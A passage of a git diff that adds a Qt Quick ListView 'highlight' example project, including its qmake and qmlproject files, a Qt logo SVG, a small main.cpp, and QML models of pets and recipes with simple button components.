+ }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: animalsModel
+ delegate: Text { text: name }
+
+ section.property: "size"
+ section.criteria: ViewSection.FullString
+ section.delegate: sectionHeading
+ }
+}
+//! [0]
+
diff --git a/examples/declarative/modelviews/listview/highlight/highlight.png b/examples/declarative/modelviews/listview/highlight/highlight.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/highlight.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/highlight.pro b/examples/declarative/modelviews/listview/highlight/highlight.pro
new file mode 100644
index 00000000..2f124d74
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/highlight.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/highlight
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE9439941
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/listview/highlight
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/listview/highlight/highlight.qmlproject b/examples/declarative/modelviews/listview/highlight/highlight.qmlproject
new file mode 100644
index 00000000..a1ac231d
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/highlight.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/highlight"
+ }
+ JavaScriptFiles {
+ directory: "qml/highlight"
+ }
+ ImageFiles {
+ directory: "qml/highlight"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/listview/highlight/highlight.svg b/examples/declarative/modelviews/listview/highlight/highlight.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/highlight.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/listview/highlight/main.cpp b/examples/declarative/modelviews/listview/highlight/main.cpp
new file mode 100644
index 00000000..0b1fe97f
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockPortrait);
+ viewer.setMainQmlFile(QLatin1String("qml/highlight/highlight.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/PetsModel.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/PetsModel.qml
new file mode 100644
index 00000000..76ddccbb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/PetsModel.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Polly"
+ type: "Parrot"
+ age: 12
+ size: "Small"
+ }
+ ListElement {
+ name: "Penny"
+ type: "Turtle"
+ age: 4
+ size: "Small"
+ }
+ ListElement {
+ name: "Warren"
+ type: "Rabbit"
+ age: 2
+ size: "Small"
+ }
+ ListElement {
+ name: "Spot"
+ type: "Dog"
+ age: 9
+ size: "Medium"
+ }
+ ListElement {
+ name: "Schrödinger"
+ type: "Cat"
+ age: 2
+ size: "Medium"
+ }
+ ListElement {
+ name: "Joey"
+ type: "Kangaroo"
+ age: 1
+ size: "Medium"
+ }
+ ListElement {
+ name: "Kimba"
+ type: "Bunny"
+ age: 65
+ size: "Large"
+ }
+ ListElement {
+ name: "Rover"
+ type: "Dog"
+ age: 5
+ size: "Large"
+ }
+ ListElement {
+ name: "Tiny"
+ type: "Elephant"
+ age: 15
+ size: "Large"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/PressAndHoldButton.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/PressAndHoldButton.qml
new file mode 100644
index 00000000..f160a1de
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/PressAndHoldButton.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: container
+
+ property int repeatDelay: 300
+ property int repeatDuration: 75
+ property bool pressed: false
+
+ signal clicked
+
+ scale: pressed ? 0.9 : 1
+
+ function release() {
+ autoRepeatClicks.stop()
+ container.pressed = false
+ }
+
+ SequentialAnimation on pressed {
+ id: autoRepeatClicks
+ running: false
+
+ PropertyAction { target: container; property: "pressed"; value: true }
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDelay }
+
+ SequentialAnimation {
+ loops: Animation.Infinite
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDuration }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+
+ onPressed: autoRepeatClicks.start()
+ onReleased: container.release()
+ onCanceled: container.release()
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/RecipesModel.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/RecipesModel.qml
new file mode 100644
index 00000000..83baeee8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/RecipesModel.qml
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ title: "Pancakes"
+ picture: "content/pics/pancakes.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup (150g) self-raising flour
+ <li> 1 tbs caster sugar
+ <li> 3/4 cup (185ml) milk
+ <li> 1 egg
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Sift flour and sugar together into a bowl. Add a pinch of salt.
+ <li> Beat milk and egg together, then add to dry ingredients. Beat until smooth.
+ <li> Pour mixture into a pan on medium heat and cook until bubbles appear on the surface.
+ <li> Turn over and cook other side until golden.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Fruit Salad"
+ picture: "content/pics/fruit-salad.jpg"
+ ingredients: "* Seasonal Fruit"
+ method: "* Chop fruit and place in a bowl."
+ }
+ ListElement {
+ title: "Vegetable Soup"
+ picture: "content/pics/vegetable-soup.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 onion
+ <li> 1 turnip
+ <li> 1 potato
+ <li> 1 carrot
+ <li> 1 head of celery
+ <li> 1 1/2 litres of water
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Chop vegetables.
+ <li> Boil in water until vegetables soften.
+ <li> Season with salt and pepper to taste.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Hamburger"
+ picture: "content/pics/hamburger.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 500g minced beef
+ <li> Seasoning
+ <li> lettuce, tomato, onion, cheese
+ <li> 1 hamburger bun for each burger
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Mix the beef, together with seasoning, in a food processor.
+ <li> Shape the beef into burgers.
+ <li> Grill the burgers for about 5 mins on each side (until cooked through)
+ <li> Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Lemonade"
+ picture: "content/pics/lemonade.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup Lemon Juice
+ <li> 1 cup Sugar
+ <li> 6 Cups of Water (2 cups warm water, 4 cups cold water)
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves.
+ <li> Pour in lemon juice, stir again, and add 4 cups of cold water.
+ <li> Chill or serve over ice cubes.
+ </ol>
+ </html>"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/TextButton.qml b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/TextButton.qml
new file mode 100644
index 00000000..bc684dc1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/TextButton.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property alias text: label.text
+
+ signal clicked
+
+ width: label.width + 20; height: label.height + 6
+ smooth: true
+ radius: 10
+
+ gradient: Gradient {
+ GradientStop { id: gradientStop; position: 0.0; color: palette.light }
+ GradientStop { position: 1.0; color: palette.button }
+ }
+
+ SystemPalette { id: palette }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: { container.clicked() }
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ }
+
+ states: State {
+ name: "pressed"
+ when: mouseArea.pressed
+ PropertyChanges { target: gradientStop; color: palette.dark }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-down.png b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-down.png
new file mode 100644
index 00000000..29d1d443
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-down.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-up.png b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-up.png
new file mode 100644
index 00000000..e4373122
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/arrow-up.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/fruit-salad.jpg b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/fruit-salad.jpg
new file mode 100644
index 00000000..da5a6b10
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/fruit-salad.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/hamburger.jpg b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/hamburger.jpg
new file mode 100644
index 00000000..d0a15be1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/hamburger.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/lemonade.jpg b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/lemonade.jpg
new file mode 100644
index 00000000..db445c9a
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/lemonade.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/list-delete.png b/examples/declarative/modelviews/listview/highlight/qml/highlight/content/pics/list-delete.png
new file mode 100644
index 00000000..df2a147d
--- /dev/null
